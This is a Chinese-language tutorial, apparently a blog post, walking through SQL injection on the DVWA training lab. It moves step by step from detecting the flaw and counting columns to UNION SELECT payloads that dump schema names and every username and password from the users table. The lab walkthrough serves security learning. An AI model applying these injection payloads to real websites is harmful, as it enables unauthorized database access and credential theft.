1、判断是否存在SQL注入点 DVWA安全级别为“Low”
(1)判断是否存在漏洞
Id值输入为1
,发现正常显示
文章图片
Id值输入为1’
,发现报错
文章图片
判断存在sql注入漏洞
(2)判断是否存在数字型漏洞
输入1 and 1=1
显示正常
文章图片
输入1 and 1=2
,显示仍然正常
文章图片
故,判断不存在数字型漏洞
(3)判断是否存在字符型漏洞
输入1’ and ‘1’=’1
,正常显示
文章图片
输入1’ and ‘1’=’2
,没有显示结果
文章图片
文章图片
故判断,此处存在一个sql注入漏洞,并且是字符型的漏洞
2、判断数据表的列数 使用order by函数,以及二分法判断列数
(1)第一步测试(10列)
输入1' order by 10 #
,显示错误,故不存在10列
文章图片
(2)第二步测试(5列)
【#|DVWA-sql注入漏洞详解】1' order by 5 #
,结果还是错误,故不存在5列
文章图片
(3)第三步测试(3列)
1' order by 3#
,还是不正确,故也不存在3列
文章图片
(4)第四步测试(2列)
1' order by 2#
文章图片
显示出了结果,故判断该数据表存在两列数据
3、联合查询,判断回显位置 通过order by函数判断该数据表存在两列数据
使用1' union select 1,2 #
,查看两列数据是否都正常显示
文章图片
结果判断,两列数据都能够正常显示
4、爆出MYSQL版本号、MYSQL连接用户、当前数据库、安装路径、操作系统等3个关键信息
(1)MYSQL版本号—>version()函数
1' union select version(),2 #
文章图片
显示当前数据库版本号为5.5.65-MariaDB
(2)MYSQL连接用户—>session_user()函数
1' union select session_user(),2 #
文章图片
显示当前数据库连接的用户为root@localhost
(3)当前数据库—>database()
1' union select database(),2 #
文章图片
显示当前数据库名称为dvwa
(4)安装路径—>@@basedir
1' union select @@basedir,2 #
文章图片
数据库安装路径为/usr
(5)操作系统—>@@version_compile_os
1' union select @@version_compile_os,2 #
文章图片
操作系统为Linux
5、最终爆出当前使用的数据库名称、数据表名称、字段名称、以及关键的字段值(比如用户名、密码等)。 (1)数据库名称
1' union select schema_name,2 from information_schema.schemata#
文章图片
爆出当前存在四个数据库,分别为information_schema、dvwa、mysql、performance_schema
(2)数据表名称
1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
文章图片
爆出dvwa数据库中有两个表,分别为guestbook表和users表
(3)字段名称
1' union select column_name,2 from information_schema.columns where table_name='users'#
文章图片
爆出users表中的字段值有user_id,first_name,last_name,user,password,avatar,last_login,failed_login这几个字段
(4)关键的字段值(比如用户名、密码等)
1' union select user,password from dvwa.users#
文章图片
成功爆出users表中所有用户的账号和密码
推荐阅读
- 网络安全|利用SQL注入漏洞登录后台
- 演武场|74cms3.0安装以及cmsSQL注入漏洞详解
- sql|SQL注入漏洞详解
- Python爬虫|逆向系列 | AES逆向加密案例分析
- 程序员|【web安全】Spring Boot eureka xstream 反序列化
- #|【JavaWeb】Cookie和Session解析
- #|【网络工程师】<软考中级>eNSP安装
- #|【JavaWeb】文件的上传和下载
- 安全漏洞|ms17-010 永恒之蓝漏洞复现+抓包分析+使用mimikatz抓取密码